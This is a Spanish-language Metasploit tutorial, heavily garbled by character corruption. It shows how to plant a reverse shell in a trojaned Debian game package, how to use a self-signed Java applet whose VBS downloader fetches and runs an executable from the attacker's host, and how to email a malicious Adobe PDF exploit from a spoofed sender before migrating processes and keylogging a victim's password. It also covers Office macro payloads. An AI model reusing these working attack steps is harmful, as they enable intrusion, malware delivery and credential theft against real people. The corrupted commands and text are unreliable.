http=>>securitytube.net>5buntu?/ac3ae?;ac3door?usin?a?&etasploit?/ayload?video.aspx /rimero
tenemos que descarar el paquete que se va a infectar y moverlo a un directorio temporal de traba%o. En
nuestro e%emplo, vamos a utilizar -frees2eep- el paquete, una versin basada en texto de ;uscaminas.
rootGbtM*pentest*e!plots*framewor#&H apt14et 11download1only nstall freesweep
?eadn4 pac#a4e lsts... 7one
$uldn4 dependency tree
?eadn4 state nformaton... 7one
...snp...
rootGbtM*pentest*e!plots*framewor#&H m#dr *tmp*e5l
rootGbtM*pentest*e!plots*framewor#&H m5 *5ar*cac"e*apt*arc"5es*freesweepI'.)'1
,I&0(.deb *tmp*e5l
rootGbtM*pentest*e!plots*framewor#&H cd *tmp*e5l*
rootGbtM*tmp*e5lH
' continuacin, tenemos que extraer el paquete a un directorio de traba%o y crear un directorio
)E;4'9 para mantener nuestro a0adido adicional CcaractersticasC.
rootGbtM*tmp*e5lH dp#4 1! freesweepI'.)'1,I&0(.deb wor#
rootGbtM*tmp*e5lH m#dr wor#*73$BDL
En el -debian- directorio, cree un archivo llamado CcontrolC que contiene lo siuiente=
rootGbtM*tmp*e5l*wor#*73$BDLH cat control
Pac#a4eM freesweep
8ersonM '.)'1,
=ectonM ;ames and Dmusement
PrortyM optonal
Drc"tectureM &0(
MantanerM <buntu M92< 7e5elopers (ubuntu1motuGlsts.ubuntu.com)
7escrptonM a te!t1based mnesweeper
6reesweep s an mplementaton of t"e popular mnesweeper 4ameR w"ere
one tres to fnd all t"e mnes wt"out 4ntn4 anyR based on "nts 45en
by t"e computer. <nl#e most mplementatons of t"s 4ameR 6reesweep
wor#s n any 5sual te!t dsplay 1 n Cnu! consoleR n an !termR and n
most te!t1based termnals currently n use.
Tambi!n tenemos que crear un script de post?instalacin que se e%ecutar el binario. En nuestro
-)ebian-, vamos a crear un archivo llamado -postinst- que contiene lo siuiente=
rootGbtM*tmp*e5l*wor#*73$BDLH cat postnst
H!*bn*s"
sudo c"mod -%// *usr*4ames*freesweepIscores TT *usr*4ames*freesweepIscores T
*usr*4ames*freesweep T
'hora vamos a crear nuestro payload malicioso. :amos a crear una shell inversa para conectar hacia
nosotros llamado -frees2eep@scores.
rootGbtM*pentest*e!plots*framewor#&H msfpayload lnu!*!0(*s"ell*re5erseItcp
C>9=2=,)-.,(0.,.,', CP9?2=..& K > *tmp*e5l*wor#*usr*4ames*freesweepIscores
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM lnu!*!0(*s"ell*re5erseItcp
Cen4t"M /'
9ptonsM C>9=2=,)-.,(0.,.,',RCP9?2=..&
'hora vamos a hacer nuestro post?script e%ecutable de instalacin y construccin de nuestro nuevo
paquete. El archivo construido se llamar -2or3.deb-, as que tendr que cambiar para que
Cfrees2eep.deb y copie el paquete al directorio raz de nuestra 2eb.
rootGbtM*tmp*e5l*wor#*73$BDLH c"mod %// postnst
rootGbtM*tmp*e5l*wor#*73$BDLH dp#41deb 11buld *tmp*e5l*wor#
dp#41debM buldn4 pac#a4e ^freesweepA n ^*tmp*e5l*wor#.debA.
rootGbtM*tmp*e5lH m5 wor#.deb freesweep.deb
rootGbtM*tmp*e5lH cp freesweep.deb *5ar*www*
Si no se est e%ecutando, vamos a necesitar para iniciar el servidor 2eb 'pache.
rootGbtM*tmp*e5lH ser5ce apac"e- start
Tendremos que confiurar el controlador de &etasploit multi > para recibir la conexin entrante.
rootGbtM*pentest*e!plots*framewor#&H msfcl e!plot*mult*"andler
PDJC9D7=lnu!*!0(*s"ell*re5erseItcp C>9=2=,)-.,(0.,.,', CP9?2=..& 3
PZQ Please wat w"le we load t"e module tree...
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
En nuestra vctima 5buntu, de aluna manera hemos convencido de que el usuario descarue e instale
nuestro nuevo %ueo impresionante.
ubuntuGubuntuM]c w4et "ttpM**,)-.,(0.,.,',*freesweep.deb
ubuntuGubuntuM]c sudo dp#4 1 freesweep.deb
$omo la vctima se instala y se %uea nuestro %ueo, hemos recibido una shellZ
PZQ =endn4 sta4e (&( bytes)
PZQ Command s"ell sesson , opened (,)-.,(0.,.,',M..& 1> ,)-.,(0.,.,%/M,,-))
fconf4
et", Cn# encapM3t"ernet >Eaddr ''M'CM-)MC-M3%M3(
net addrM,)-.,(0.,.,%/ $castM,)-.,(0.,.-// Mas#M-//.-//.-//.'
<P $?9D7CD=2 ?<LLBL; M<C2BCD=2 M2<M,/'' MetrcM,
?K pac#etsM.) errorsM' droppedM' o5errunsM' frameM'
2K pac#etsM/, errorsM' droppedM' o5errunsM' carrerM'
collsonsM' t!@ueuelenM,'''
?K bytesM.&-&' (.-.- X$) 2K bytesM.('& (... X$)
BnterruptM,% $ase addressM'!,.''
...snp...
"ostname
ubuntu
d
ud='(root) 4d='(root) 4roups='(root)
+ava 'pplet 4nfection
+osu! 'braham K+abraM public un ran artculo que se basaba en una conferencia pronunciada en la
$onferencia &undial 49#,SE$ con 6afal 7os y se puede encontrar en http*??blo!.splBit.or!. En
esencia, lo que los dos fueron capaces de hacer es crear un applet de +ava que, una vez e%ecutado en un
naveador realmente nos va a permitir e%ecutar un payload de &eterpreter si el destino acepta la
advertencia de seuridad.
'ntes de profundizar en esto tenemos que cumplir con alunos requisitos previos en nuestra mquina
de los atacantes antes de comenzar.
rootGbtM*H apt14et nstall sun1ja5a(1jd#
+abra ha simplificado la mayor parte del proceso con el script de aba%o para reducir los errores de
entrada. /uede descarar este prorama en= http=@@spl8it4or!@files@makeapplet4sh
H!*bn*bas"
H
H ="ell scrpt to s4n a ba5a Dpplet
H bos"ua :babra: Dbra"am
H 2ue bun &' '-M-(M&( 372 -'')
H
H ,. Comple t"e Dpplet source code to an e!ecutable class.
H
H ja5ac >elloEorld.ja5a
H
H -. Pac#a4e t"e compled class nto a bD? fle.
H
H jar c5f >elloEorld.jar >elloEorld.class
H
H &. ;enerate #ey pars.
H
H #eytool 4en#ey 1alas s4napplet 1#eystore my#eystore 1#eypass my#eypass
1storepass mystorepass
H
H .. =4n t"e bD? fle.
H
H jars4ner 1#eystore my#eystore 1storepass mystorepass 1#eypass my#eypass 1
s4nedjar =4ned>elloEorld.jar
H >elloEorld.jar s4napplet
H
H /. 3!port t"e publc #ey certfcate.
H
H #eytool 1e!port 1#eystore my#eystore 1storepass mystorepass 1alas s4napplet
1fle mycertfcate.cer
H
H (. 7eploy t"e bD? and t"e class fle.
H
H <applet code=:>elloEorld.class: arc"5e=:=4ned>elloEorld.jar: wdt"=, "e4"t=,>
<*applet>
H
ec"o :3nter t"e name of t"e applet wt"out t"e e!tensonM:
read LDM3ja5ac cLDM3.ja5af P cW 1e@ , Q N t"en
ec"o :3rror wt" ja5ac:
e!t
f
ec"o :PUQ Pac#a4n4 t"e compled class nto a bD? fle:
jar cf cLDM3.jar cLDM3.class
f P cW 1e@ , Q N t"en
ec"o :3rror wt" jar:
e!t
f
ec"o :PUQ ;eneratn4 #ey pars:
#eytool 14en#ey 1alas s4napplet 1#eystore my#eystore 1#eypass my#eypass
1storepass mystorepass
f P cW 1e@ , Q N t"en
ec"o :3rror wt" 4eneratn4 t"e #ey par:
e!t
f
ec"o :PUQ =4nn4 t"e bD? fle:
jars4ner 1#eystore my#eystore 1storepass mystorepass 1#eypass my#eypass
1s4nedjar :=4nedcLDM3.jar: cLDM3.jar s4napplet
f P cW 1e@ , Q N t"en
ec"o :3rror wt" s4nn4 t"e jar:
e!t
f
ec"o :PUQ 3!portn4 t"e publc #ey certfcate:
#eytool 1e!port 1#eystore my#eystore 1storepass mystorepass 1alas s4napplet
1fle mycertfcate.cer
f P cW 1e@ , Q N t"en
ec"o :3rror wt" e!portn4 t"e publc #ey:
e!t
f
ec"o :PUQ 7one:
sleep ,
ec"o ::
ec"o ::
ec"o :7eploy t"e bD? and certfcate fles. 2"ey s"ould be deployed to a drectory
on a Eeb ser5er.:
ec"o ::
ec"o :<applet wdt"=A,A "e4"t=A,A code=AcLDM3.classA arc"5e=A=4nedcLDM3.jarA> :
ec"o ::
'hora vamos a hacer un directorio de traba%o para que podamos uardar el archivo y lueo aarrarla de
su sitio o copiar y pear en tu editor de texto favorito.
rootGbtM*H m#dr .*ja5a1applet
rootGbtM*H cd .*ja5a1applet
Tenemos que hacer un applet de +ava que se va a firmar. /ara ello, vamos a copiar y pear el siuiente
texto en tu editor de texto favorito y uardarlo como= C&S#cmd.%avaC. /ara el resto de este mdulo, sal
del editor abra, ya que tendr que modificar alunos parmetros a medida que avanzamos con este
mdulo.
mport ja5a.applet.ZN
mport ja5a.awt.ZN
mport ja5a.o.ZN
publc class M=6cmd e!tends Dpplet O
publc 5od nt() O
Process fN
=trn4 frst = 4etParameter(:frst:)N
try O
f = ?untme.4et?untme().e!ec(:frst:)N
V
catc"(B93!cepton e) O
e.prnt=tac#2race()N
V
Process sN
V
V
' continuacin, vamos a utilizar +abras script de shell para que nos ayuden en la toma de nuestro
certificado. El siuiente comando descara el script, que sea e%ecutable, y lueo lanzar el script para
producir los certs.
rootGbtM*ja5a1applet*H w4et "ttpM**spl't.or4*fles*ma#eapplet.s" TT c"mod aU!
.*ma#eapplet.s"
rootGbtM*ja5a1applet*H .*ma#eapplet.s"
3nter t"e name of t"e applet wt"out t"e e!tensonM M=6cmd
PUQ Pac#a4n4 t"e compled class nto a bD? fle
PUQ ;eneratn4 #ey pars
E"at s your frst and last nameW P<n#nownQM M=6cmd
E"at s t"e name of your or4an+atonal untW P<n#nownQM Mcrosoft
E"at s t"e name of your or4an+atonW P<n#nownQM Mcrosoft 9r4an+aton
E"at s t"e name of your Cty or CocaltyW P<n#nownQM ?edmond
E"at s t"e name of your =tate or Pro5nceW P<n#nownQM Eas"n4ton
E"at s t"e two1letter country code for t"s untW P<n#nownQM <=
Bs CL=M=6cmdR 9<=McrosoftR 9=Mcrosoft 9r4an+atonR C=?edmondR =2=Eas"n4tonR
C=<= correctW PnoQM yes
PUQ =4nn4 t"e bD? fle
Earnn4M
2"e s4ner certfcate wll e!pre wt"n s! mont"s.
PUQ 3!portn4 t"e publc #ey certfcate
Certfcate stored n fle
PUQ 7one
'hora que todo se prepar para nosotros, tenemos que desplear el +'6 y el archivo de clase.
rootGbtM*ja5a1applet*H cp =4nedM=6cmd.jar *5ar*www*
rootGbtM*ja5a1applet*H cp M=6cmd.class *5ar*www*
rootGbtM*ja5a1applet*H apac"e-ctl start
'hora que el applet se ha implementado, tendremos que crear un payload de &eterpreter. $ambiar
CNNNNC en los siuientes e%emplos para que coincida con su direccin 4/ atacantes. Este comando
utiliza msfpayload para crear una inversa T$/ &eterpreter Shell con nuestra vctima. .eneramos esta
cara en formato 6'( y el tubo en msfencode, el ahorro de la cara como un archivo e%ecutable. El
e%ecutable se copia a nuestro directorio raz 2eb y e%ecutables hecho.
rootGbtM*pentest*e!plots*framewor#&*H .*msfpayload
wndows*meterpreter*re5erseItcp C>9=2=K.K.K.K CP9?2=..& ? [ .*msfencode 1t e!e 1o
my.e!e
rootGbtM*pentest*e!plots*framewor#&*H cp .*my.e!e *5ar*www*
rootGbtM*pentest*e!plots*framewor#&*H c"mod aU! *5ar*www*my.e!e
'hora tenemos que a0adir un comando en nuestro archivo index.html que permitir a los clientes para
descarar y e%ecutar nuestra payload. ;sicamente, esta pina se lanzar un applet de +ava firmados
por nosotros mismos, que, cuando se les da permiso por parte del cliente, entonces cual llama cmd.exe
de su sistema, haci!ndose eco de las lneas en un script vbs llamado Capsou.vbsC. Tena presente que
este archivo se puede encontrar en el sistema despu!s de todo !xito y CalunosC intentos fallidos.
)espu!s de este archivo se crea, la cadena de comando e%ecuta el mismo script vbs y alimenta una
variable, el enlace de los atacantes a la cara Cmy.exeC. 5na vez que la cara ha sido descarado
entonces se e%ecutar my.exe con que los permisos de los usuarios.
Tenemos que modificar nuestra pina index.html que nuestros clientes va a ver. En un escenario real,
un pentester podra intentar a0adir un poco de vdeo, %ueos de naveador 2eb, u otras actividades para
distraer o entretener a la vctima. Trucos ineniosos, como la ineniera social puede ser de ran
beneficio de este tipo de ataque, diriiendo sus ob%etivos a una 567 concreta y decirles que para
aceptar la advertencia de seuridad para continuar viendo su sitio o usar el Capplet personalizado de
mensa%era instantnea seuraC. 5sted tambi!n puede tener caras diferentes en carpetas diferentes de
espera para los diferentes clientes.
Escriba el siuiente comando en una sola lnea y aseDrese de cambiar CNNNNC a su direccin 4/
atacante.
rootGbtM*pentest*e!plots*framewor#&*H ec"o :<applet wdt"=A,A "e4"t=A,A
code=AM=6cmd.classA arc"5e=A=4nedM=6cmd.jarA>: > *5ar*www*nde!."tml
rootGbtM*pentest*e!plots*framewor#&*H ec"o :<param name=AfrstA 5alue=Acmd.e!e *c
ec"o Const ad2ype$nary = , > \
CM\wndows\apsou.5bs T ec"o Const ad=a5eCreate95erErte = - >>
CM\wndows\apsou.5bs \
T ec"o 7m $nary=tream >> CM\wndows\apsou.5bs T ec"o =et $nary=tream =
Create9bject(:D797$.=tream:) >> \
CM\wndows\apsou.5bs T ec"o $nary=tream.2ype = ad2ype$nary >>
CM\wndows\apsou.5bs T \
ec"o $nary=tream.9pen >> CM\wndows\apsou.5bs T ec"o $nary=tream.Erte
$nary;et<?C(Escrpt.Dr4uments(')) >> \
CM\wndows\apsou.5bs T ec"o $nary=tream.=a5e2o6le Escrpt.Dr4uments(,)R
ad=a5eCreate95erErte >> \
CM\wndows\apsou.5bs T ec"o 6uncton $nary;et<?C(<?C) >> CM\wndows\apsou.5bs T
ec"o 7m >ttp >> \
CM\wndows\apsou.5bs T ec"o =et >ttp = Create9bject(:En>ttp.En>ttp?e@uest./.,:)
>> CM\wndows\apsou.5bs T \
ec"o >ttp.9pen :;32:R <?CR 6alse >> CM\wndows\apsou.5bs T ec"o >ttp.=end >> CM
wndows\apsou.5bs T \
ec"o $nary;et<?C = >ttp.?esponse$ody >> CM\wndows\apsou.5bs T ec"o 3nd 6uncton
>> CM\wndows\apsou.5bs T \
ec"o =et s"ell = Create9bject(:E=crpt.="ell:) >> CM\wndows\apsou.5bs T ec"o
s"ell.?un :CM\wndows\my.e!e: >> \
CM\wndows\apsou.5bs T start CM\wndows\apsou.5bs "ttpM**K.K.K.K*my.e!e
CM\wndows\my.e!eA> <*applet>: >> \
*5ar*www*nde!."tml
Tambi!n vamos a a0adir un mensa%e que le indica al usuario que acepte nuestro applet malicioso.
rootGbtM*pentest*e!plots*framewor#&*H ec"o :: >> *5ar*www*nde!."tml
rootGbtM*pentest*e!plots*framewor#&*H ec"o :Please wat. Ee apprecate your
busness. 2"s process may ta#e a w"le.: >> *5ar*www*nde!."tml
rootGbtM*pentest*e!plots*framewor#&*H ec"o :2o 5ew t"s pa4e properly you must
accept and run t"e applet.
Ee are sorry for any ncon5enence. : >> *5ar*www*nde!."tml
'hora tenemos que confiurar los mDltiples &etasploit > mane%ador para escuchar los intentos de
conexin de los clientes. :amos a escuchar un shell inversa de la meta en el puerto IIE. Este puerto
est asociado con el trfico "TT/S y la mayora de los fire2alls de las oranizaciones de permitir este
trfico interno de%ando sus redes. 'l iual que antes, cambiar el CNNNNC a su direccin 4/ atacantes.
msf > use e!plot*mult*"andler
msf e!plot("andler) > set 3!t9n=esson false
3!t9n=esson => false
msf e!plot("andler) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot("andler) > set C>9=2 K.K.K.K
C>9=2 => K.K.K.K
msf e!plot("andler) > set CP9?2 ..&
CP9?2 U> ..&
msf e!plot("andler) > sa5e
=a5ed conf4uraton toM *root*.msf&*conf4
msf e!plot("andler) > e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
$uando una vctima se desplaza a nuestro sitio 2eb y acepta la advertencia de seuridad, el payload
&eterpreter funciona y se conecta de nuevo a nuestro ua.
msf e!plot("andler) >
PZQ =endn4 sta4e (%,0&&( bytes)
PZQ Meterpreter sesson , opened (D.D.D.DM..& 1> 2.2.2.2M...%%)
msf e!plot("andler) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
-'. jusc"ed.e!e CM\Pro4ram6les\ba5a\jre(\bn\jusc"ed.e!e
-00 ctfmon.e!e CM\EBL79E=\system&-\ctfmon.e!e
%.. smss.e!e \=ystem?oot\=ystem&-\smss.e!e
),- wnlo4on.e!e CM\EBL79E=\system&-\wnlo4on.e!e
)%- ser5ces.e!e CM\EBL79E=\system&-\ser5ces.e!e
)0. lsass.e!e CM\EBL79E=\system&-\lsass.e!e
,,%( s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,-/( ja5a.e!e CM\Pro4ram 6les\ba5a\jre(\bn\ja5a.e!e
,&(' s5c"ost.e!e CM\EBL79E=\=ystem&-\s5c"ost.e!e
,(.' spools5.e!e CM\EBL79E=\system&-\spools5.e!e
,%,- 3!plorer.3K3 CM\EBL79E=\3!plorer.3K3
,0%- j@s.e!e CM\Pro4ram 6les\ba5a\jre(\bn\j@s.e!e
-.,- my.e!e CM\wndows\my.e!e
&'/- e!plore.e!e CM\Pro4ram 6les\Bnternet 3!plorer\e!plore.e!e
meterpreter >
$omo nota final, si usted tiene problemas de acceso, aseDrese de que los archivos
ACM\wndows\apsou.5bsA
and
ACM\wndows\my.e!eA
9o existen en su ob%etivo.
Si intenta volver a explotar este cliente no podr poner en marcha correctamente el script vbs.
Si siue teniendo problemas y se ha aseurado de los archivos anteriores no estn en el sistema, por
favor consulte los siuientes luares en el reistro y hacer los cambios necesarios.
=tart > run M re4edt
na54ate toM
>XCM\=oftware\Polces\Mcrosoft\Endows\Current8erson\Bnternet
=ettn4s\=ecurtyI>XCMIonly
c"an4e 5alue toM '
na54ate toM
>XCM\=oftware\Mcrosoft\Endows\Current8erson\Bnternet =ettn4s\Yones\&\6la4s
clc# 7ecmal
c"an4e 5alue to &
na54ate toM
>XCM\=oftware\Mcrosoft\Endows\Current8erson\Bnternet =ettn4s\Yones\&\
ma#e new dword wt" t"e name ,C''
5alue n "e! ,''''
na54ate toM
>XC<\=oftware\Mcrosoft\Endows\Current8erson\Bnternet =ettn4s\Yones\&\6la4s
clc# 7ecmal
c"an4e 5alue to &
'hora cerramos reedit y debe iniciar o reiniciar el 4E y la nueva confiuracin debe aplicar.
$lient Side 'ttac3s
/os ata'ues del lado del cliente
$omo ya hemos discutido, &etasploit tiene muchos usos y otro vamos a discutir aqu son los ataques
del lado del cliente. /ara mostrar el poder de la forma de &S# se puede utilizar en los ataques del lado
del cliente usaremos una historia.
En el mundo de la seuridad, la ineniera social se ha convertido en un vector de ataque cada vez ms
utilizado. ' pesar de que las tecnoloas estn cambiando, una cosa que parece que permanece iual es
la falta de seuridad con la ente. )ebido a que la ineniera social se ha convertido en un ran tema
CcalienteC en el mundo de la seuridad hoy en da.
En nuestro primer escenario a nuestro atacante ha estado haciendo un montn de recoleccin de
informacin utilizando herramientas como el &etasploit, &alteo y otras herramientas para recopilar
direcciones de correo electrnico e informacin para poner en marcha un cliente de ineniera social de
ataque lateral de la vctima.
)espu!s de una inmersin contenedor !xito y el raspado de los correos electrnicos de la 2eb, que ha
anado dos piezas clave de informacin.
OM Se utiliza las Cme%ores equiposC para los servicios t!cnicos.
JM El departamento de T4 tiene una direccin de correo electrnico de itdeptbvictim.com
<ueremos anar shell en el equipo los departamentos de T4 y e%ecutar un capturador de teclado para
obtener contrase0as, 4ntel o cualquier otras chismes %uosos de la informacin.
$omenzamos por la cara de nuestros msfconsole.
)espu!s de que se caran queremos crear un archivo /)# malicioso que le dar a la vctima una
sensacin de seuridad en la apertura de la misma. /ara ello, debe aparecer letimo, tener un ttulo que
es realista, y no se marcar por el anti?virus u otro soft2are de alerta de seuridad.
:amos a estar usando Cutil.printf KM -'dobe 6eader funcin +avaScript pila vulnerabilidad de
desbordamiento de bDfer
'dobe 6eader es propenso a una pila de bDfer basado en la vulnerabilidad de desbordamiento debido a
que la solicitud no cumple con los controles adecuados en el lmite de los datos suministrados por el
usuario.
5n atacante puede explotar este problema para e%ecutar cdio arbitrario con los privileios del usuario
e%ecutando la aplicacin o bloquear la aplicacin, near el servicio a los usuarios letimos.
/or lo tanto, empezar por la creacin de nuestro archivo /)# malicioso para su uso en este ataque del
lado del cliente.
msf > use e!plot*wndows*fleformat*adobeIutlprntf
msf e!plot(adobeIutlprntf) > set 6BC3LDM3 $estComputers1<p4radeBnstructons.pdf
6BC3LDM3 => $estComputers1<p4radeBnstructons.pdf
msf e!plot(adobeIutlprntf) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot(adobeIutlprntf) > set C>9=2 ,)-.,(0.0.,-0
C>9=2 => ,)-.,(0.0.,-0
msf e!plot(adobeIutlprntf) > set CP9?2 ..//
CP9?2 => ..//
msf e!plot(adobeIutlprntf) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
6BC3LDM3 $estComputers1<p4radeBnstructons.pdf yes 2"e fle
name.
9<2P<2PD2> *pentest*e!plots*framewor#&*data*e!plots yes 2"e locaton
of t"e fle.
Payload optons (wndows*meterpreter*re5erseItcp)M
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3KB26<LC process yes 3!t tec"n@ueM se"R t"readR process
C>9=2 ,)-.,(0.0.,-0 yes 2"e local address
CP9?2 ..// yes 2"e local port
3!plot tar4etM
Bd Lame
11 1111
' Ddobe ?eader 50.,.- (Endows KP =P& 3n4ls")
5na vez que tenemos todas las opciones de definir el modo en que queremos, e%ecutamos Cel exploitC
para crear nuestro archivo malicioso.
msf e!plot(adobeIutlprntf) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ Creatn4 A$estComputers1<p4radeBnstructons.pdfA fle...
PZQ ;enerated output fle
*pentest*e!plots*framewor#&*data*e!plots*$estComputers1<p4radeBnstructons.pdf
PZQ 3!plot completedR but no sesson was created.
msf e!plot(adobeIutlprntf) >
's podemos ver que nuestro archivo pdf fue creado en un sub?directorio de donde estamos. 's que
vamos a copiar a nuestro directorio > tmp por lo que es ms fcil de localizar ms tarde en nuestra
explotacin.
'ntes de enviar el archivo malicioso a nuestra vctima que tenemos que definir un detector para captar
esta conexin inversa. :amos a utilizar msfconsole para crear nuestro oyente mane%ador mDltiples.
msf > use e!plot*mult*"andler
msf e!plot("andler) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot("andler) > set CP9?2 ..//
CP9?2 => ..//
msf e!plot("andler) > set C>9=2 ,)-.,(0.0.,-0
C>9=2 => ,)-.,(0.0.,-0
msf e!plot("andler) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
'hora que nuestro oyente est a la espera de recibir su payload malicioso que tenemos que entrear
esta payload a la vctima y dado que en nuestra recoleccin de informacin se obtuvo la direccin de
correo electrnico del departamento de T4 vamos a utilizar un script peque0o y prctico llamado
sendEmail para entrear esta cara a la vctima. $on un 3un?fu de una sola lnea, se puede ad%untar el
archivo /)# malicioso, utilizar cualquier servidor S&T/ que desee y escribir un correo electrnico
muy convincente desde cualquier direccin que queremos ....
rootGbtM]H send3mal 1t tdeptG5ctm.com 1f tec"supportGbestcomputers.com 1s
,)-.,(0.0.,&, 1u Bmportant <p4rade Bnstructons 1a *tmp*$estComputers1
<p4radeBnstructons.pdf
?eadn4 messa4e body from =27BL because t"e A1mA opton was not used.
Bf you are manually typn4 n a messa4eM
1 6rst lne must be rece5ed wt"n (' seconds.
1 3nd manual nput wt" a C2?C17 on ts own lne.
B2 7eptR
Ee are sendn4 t"s mportant fle to all our customers. Bt contans 5ery
mportant nstructons for up4radn4 and securn4 your software. Please read and
let us #now f you "a5e any problems.
=ncerelyR
$est Computers 2ec" =upport
Du4 -. ,%M&-M/, bt send3malP,&,..QM Messa4e nput complete.
Du4 -. ,%M&-M/, bt send3malP,&,..QM 3mal was sent successfully!
$omo podemos ver aqu, el script que nos permite poner cualquier )E7 K?fM la direccin, los ' K?tM la
direccin, cualquier S&T/ K?sM del servidor, as como los ttulos K?uM y nuestro apeo maliciosos K?a M.
5na vez que hacemos todo lo que y pulse enter podemos escribir cualquier mensa%e que queremos, a
continuacin, pulse $T67 V ) y la enviar al correo electrnico a la vctima.
'hora en la mquina de la vctima, nuestro empleado de T4 )epartamento se est en el da y la sesin
en su ordenador para comprobar su correo electrnico.
`l ve el documento muy importante y lo copia en su escritorio como siempre lo hace, por lo que puede
explorar esto con su favorito prorama anti?virus.
$omo podemos ver, pas con ran !xito por lo que nuestro administrador de T4 est dispuesto a abrir
este archivo para aplicar rpidamente estas me%oras muy importantes. 'l hacer clic en el archivo se
abre 'dobe, pero muestra una ventana de color ris que nunca revela un /)#. En cambio, en la
mquina de los atacantes lo que se revela ....
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
PZQ =endn4 sta4e (%,0&&( bytes)
sessonPZQ Meterpreter sesson , opened (,)-.,(0.0.,-0M..// 1>
,)-.,(0.0.,&'M.)&--)
meterpreter >
'hora tenemos una shell en el ordenador a trav!s de un ataque malicioso /)# lado del cliente. /or
supuesto, lo que sera prudente que en este punto es mover el shell a un proceso diferente, as que
cuando matan a 'dobe no perdemos nuestro shell. ' continuacin, obtener informacin del sistema,
iniciar un capturador de teclado y seuir explotando la red.
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
0/- tas#en4.e!e CM\Endows\system&-\tas#en4.e!e
,&'0 7wm.e!e CM\Endows\system&-\7wm.e!e
,/-' e!plorer.e!e CM\Endows\e!plorer.e!e
-,0. 8Mware2ray.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware2ray.e!e
-,)( 8Mware<ser.e!e CM\Pro4ram 6les8Mware\8Mware 2ools\8Mware<ser.e!e
&,%( e!plore.e!e CM\Pro4ram 6les\Bnternet 3!plorer\e!plore.e!e
&./- Dcro?d&-.e!e CM\Pro4ram 6les\Ddobe?eader 0.'\?eaderDcro?d&-.e!e
meterpreter > run post*wndows*mana4e*m4rate
PZQ ?unnn4 module a4anst 81MDC1KP
PZQ Current ser5er processM s5c"ost.e!e (,'%()
PZQ M4ratn4 to e!plorer.e!e...
PZQ M4ratn4 nto process B7 0,(
PZQ Lew ser5er processM 3!plorer.3K3 (0,()
meterpreter > sysnfo
ComputerM 966=3C1PC
9= M Endows 8sta ($uld ('''R ).
meterpreter > use pr5
Coadn4 e!tenson pr5...success.
meterpreter > run post*wndows*capture*#eylo4Irecorder
PZQ 3!ecutn4 module a4anst 81MDC1KP
PZQ =tartn4 t"e #eystro#e snffer...
PZQ Xeystro#es ben4 sa5ed n to
*root*.msf&*loot*-',,'&-&'),0&(IdefaultI,)-.,(0.,.,)/I"ost.wndows.#eyI0&-,//.t!t
PZQ ?ecordn4 #eystro#es...
rootGbtM]H cat
*root*.msf&*loot*-',,'&-&'),0&(IdefaultI,)-.,(0.,.,)/I"ost.wndows.#eyI0&-,//.t!t
Xeystro#e lo4 started at Eed Mar -& ')M,0M&( 1'('' -',,
=upportR B tred to open t "s fle -1& tmes wt" no success. B e5en "ad my
admn and C69 tru y tR but no one can 4et t to p open. B turned on t"e rmote
access ser5er so you can lo4 n to f! our p t"s problem. 9ur user name
s admn and password for t"at sesson s ,-&./(. Call or eme al w"en you are
done. 2"an#s B2 7ept
PAM, O+,)
:;Script 4nfection ðods
&etasploit posee un par de para construir en los m!todos que puede utilizar para infectar documentos
de (ord y Excel con una payload &etasploit maliciosos. Tambi!n puede utilizar su payload
personalizados tambi!n. 9o tiene por qu! ser un payload de &etasploit. Este m!todo es Dtil cuando se
va despu!s de los ataques del lado del cliente y tambi!n podra ser potencialmente Dtil si usted tiene
que evitar alDn tipo de filtro que no permite que se e%ecuten y slo permite pasar a trav!s de los
documentos. /ara comenzar, primero tenemos que crear nuestra payload :;Script.
rootGbtM H msfpayload wndows*meterpreter*re5erseItcp C>9=2=,)-.,(0.,.,',
CP9?2=0'0' 3LC97BL;=s"#ataI4aIna 8
ACreated by msfpayload ("ttpM**www.metasplot.com).
APayloadM wndows*meterpreter*re5erseItcp
A Cen4t"M -)'
A9ptonsM C>9=2=,)-.,(0.,.,',RCP9?2=0'0'R3LC97BL;=s"#ataI4aIna
AZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
AZ
AZ 2"s code s now splt nto two pecesM
AZ ,. 2"e Macro. 2"s must be coped nto t"e 9ffce document
AZ macro edtor. 2"s macro wll run on startup.
AZ
AZ -. 2"e 7ata. 2"e "e! dump at t"e end of t"s output must be
AZ appended to t"e end of t"e document contents.
...snp...
' medida que el mensa%e de salida, indica, el uin est en J partes. 7a primera parte del script se crea
como una macro y la seunda parte se a0ade en el texto del documento en s. 5sted tendr que
transferir este uin a una mquina con (indo2s y ,ffice instalados y haa lo siuiente=
En (ord o Excel JGGE, vaya a "erramientas, &acros, Editor de :isual ;asic, si usted est usando
(ord > Excel JGGF, vaya a :er macros, a continuacin, coloque un nombre como CmuC y seleccione
CcrearC.
Esto abrir el Editor de :isual ;asic. /ear la salida de la primera parte del uin payload en el editor,
uardarlo y lueo pear el resto de la secuencia de comandos en documento de (ord thel s mismo.
Esto es cuando se llevara a cabo el ataque del lado del cliente por correo electrnico a este documento
de (ord a aluien.
